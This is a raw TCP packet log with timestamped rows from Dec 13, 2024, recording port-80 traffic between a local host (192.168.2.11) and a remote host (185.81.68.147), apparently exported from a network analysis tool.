Dec 13, 2024 08:20:09.226464033 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.227058887 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.227072001 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.227096081 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.227123022 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.228153944 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.228198051 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.228348017 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.228385925 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.228986025 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.229026079 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.229161978 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.229206085 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.229949951 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.229991913 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.230113029 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.230148077 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.230926037 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.230978012 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.231067896 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.231112003 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.231885910 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.231930017 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.232026100 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.232085943 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.232881069 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.232928991 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.233072042 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.233129025 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.233865023 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.233906984 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.234016895 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.234052896 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.234879017 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.234893084 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.234919071 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.234958887 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.235821009 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.235874891 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.235970020 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.236011028 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.236903906 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.236916065 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.236943007 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.236970901 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.237705946 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.237757921 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.237850904 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.237945080 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.238795042 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.238842010 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.238954067 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.239000082 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.239778996 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.239823103 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.239948988 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.239999056 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.240781069 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.240823984 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.240941048 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.240978956 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.241674900 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.241719961 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.241904020 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.241945028 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.242645979 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.242733002 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.242814064 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.242901087 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.243733883 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.243747950 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.243779898 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.243810892 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.244677067 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.244723082 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.244839907 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.244879961 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.245692968 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.245707035 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.245731115 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.245760918 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.246637106 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.246699095 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.246786118 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.246824026 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.247561932 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.247610092 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.247723103 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.247762918 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.248563051 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.248610973 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.248748064 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.248786926 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.249500036 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.249541044 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.249656916 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.249713898 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.265444994 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.265480042 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.265556097 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.265557051 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.265841961 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.265893936 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.266124010 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.266175032 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.266226053 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.266267061 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.266956091 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.267004013 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.267052889 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.267117977 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.267916918 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.267966986 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.268009901 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.268098116 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.268915892 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.268966913 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.269043922 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.269088984 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.269908905 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.269964933 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.269999981 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.270040035 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.270859957 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.270917892 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.302663088 CET	80	49948	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.302799940 CET	49948	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.397262096 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.397289991 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.397334099 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.397396088 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.397658110 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.397701979 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.397746086 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.397792101 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.398616076 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.398672104 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.398705006 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.398742914 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.399600029 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.399645090 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.399689913 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.399733067 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.400630951 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.400676012 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.400729895 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.400772095 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.401578903 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.401633024 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.401674986 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.401717901 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.402535915 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.402621984 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.402667046 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.402707100 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.403518915 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.403572083 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.403584957 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.403626919 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.404506922 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.404551029 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.404603958 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.404645920 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.405493021 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.405548096 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.405597925 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.405638933 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.406475067 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.406562090 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.406601906 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.406644106 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.407427073 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.407474041 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.407526016 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.407569885 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.408438921 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.408483028 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.408521891 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.408561945 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.409413099 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.409466982 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.409533978 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.409569025 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.410384893 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.410428047 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.410487890 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.410526037 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.411375999 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.411417961 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.411453962 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.411497116 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.412341118 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.412390947 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.412429094 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.412472010 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.413403988 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.413453102 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.413489103 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.413528919 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.414313078 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.414354086 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.414417982 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.414450884 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.415307999 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.415354967 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.415393114 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.415443897 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.416275024 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.416327000 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.416383028 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.416416883 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.417216063 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.417263031 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.417345047 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.417386055 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.418241024 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.418293953 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.418324947 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.418369055 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.419218063 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.419265032 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.419296980 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.419337034 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.420241117 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.420294046 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.420325041 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.420428991 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.421185970 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.421236038 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.421291113 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.421327114 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.422156096 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.422210932 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.422372103 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.422411919 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.422559977 CET	80	49948	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.423194885 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.423233986 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.423249960 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.423291922 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.424120903 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.424170017 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.424249887 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.424295902 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.425228119 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.425280094 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.425339937 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.425411940 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.426101923 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.426152945 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.426217079 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.426254034 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.427067995 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.427115917 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.427155018 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.427195072 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.428109884 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.428144932 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.428158998 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.428184986 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.429008961 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.429070950 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.429126978 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.429174900 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.429996014 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.430042028 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.430094957 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.430136919 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.431032896 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.431087971 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.431153059 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.431229115 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.431938887 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.431982040 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.432039976 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.432080030 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.432925940 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.432972908 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.433039904 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.433118105 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.434006929 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.434021950 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.434055090 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.434081078 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.434936047 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.434979916 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.435008049 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.435045958 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.435904026 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.435951948 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.435981035 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.436018944 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.436903954 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.436955929 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.437012911 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.437048912 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.437876940 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.437922001 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.437995911 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.438035965 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.438827038 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.438868046 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.438931942 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.438997030 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.439802885 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.439874887 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.439933062 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.439970970 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.440808058 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.440860987 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.440903902 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.440943003 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.441761971 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.441807985 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.457447052 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.457515955 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.457519054 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.457561016 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.457657099 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.457700014 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.457755089 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.457796097 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.458650112 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.458697081 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.458744049 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.458786964 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.459650993 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.459672928 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.459717989 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.459745884 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.460635900 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.460685968 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.460724115 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.460766077 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.461592913 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.461643934 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.461683989 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.461723089 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.462548971 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.462594986 CET	49938	80	192.168.2.11	185.81.68.147
